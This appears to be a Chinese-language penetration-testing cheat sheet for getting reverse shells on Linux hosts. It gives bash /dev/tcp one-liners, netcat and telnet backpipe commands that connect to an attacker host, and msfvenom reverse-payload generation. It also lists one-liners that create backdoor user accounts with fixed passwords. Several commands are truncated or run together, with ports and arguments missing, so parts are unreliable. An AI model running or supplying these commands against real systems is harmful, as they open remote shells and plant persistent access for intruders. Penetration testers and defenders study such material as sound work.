在渗透测试过程中由于防火墙和其它安全防御措施,很多服务器只能单向向外访问,不能被访问,我们常常需要反弹shell。
1.bash反弹shell
本地开启监听
nc -lvvp
受害主机命令
bash -i >& /dev/tcp/192.168.109.131/ >&
收到反弹回来的shell
2. NC反弹shell
各个Linux发行版本虽然安装有netcat,但是有其具有反弹shell功能的参数 -e不能使用,我们需要下载安装netcat原生版。
## 下载
wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz ## 解压 tar -zxvf netcat- ## 编译安装 ./configure make && make install make clean
切换到nc 目录执行 nc -V 测试成功与否
[root@localhost ~]# nc -V netcat (The GNU Netcat) 0.7. Copyright (C) - Giovanni Giacobbi
受害主机
nc -lvvp -t -e /bin/bash
nc 192.168.109.132
攻击主机
在前面说的NC 不支持 -e选项时
mknod backpipe p && nc attackerip <backpipe | /bin/bash >backpipe /bin/sh | nc attackerip rm -f /tmp/p; mknod /tmp/p p && nc attackerip /tmp/
3.使用Telnet反弹shell
在NC不可用或者 /dev/tcp不能用的时候
mknod backpipe p && telnet attackerip <backpipe | /bin/bash >backpipe
4.使用msf获取反弹shell
4.1 reverse payload反弹路径
msfvenom -l payloads 'cmd/unix/reverse'
4.2生成反弹一句话
msfvenom -p cmd/unix/reverse_xxxx lhost=192.168.109.131 lport= R
将生成的payload 反弹一句话直接复制到靶机上直接运行就会反弹shell。
5.Linux一句话添加账户
有时候会遇到尴尬的不能回显,也无法打开vim….一句话添加账户很真香
5.1 useradd -p
useradd -p `openssl passwd ` guest
5.2 echo -e
useradd test;echo -e "123456n123456n" |passwd test
5.3 chpasswd
useradd guest;echo 'guest:123456'|chpasswd
参考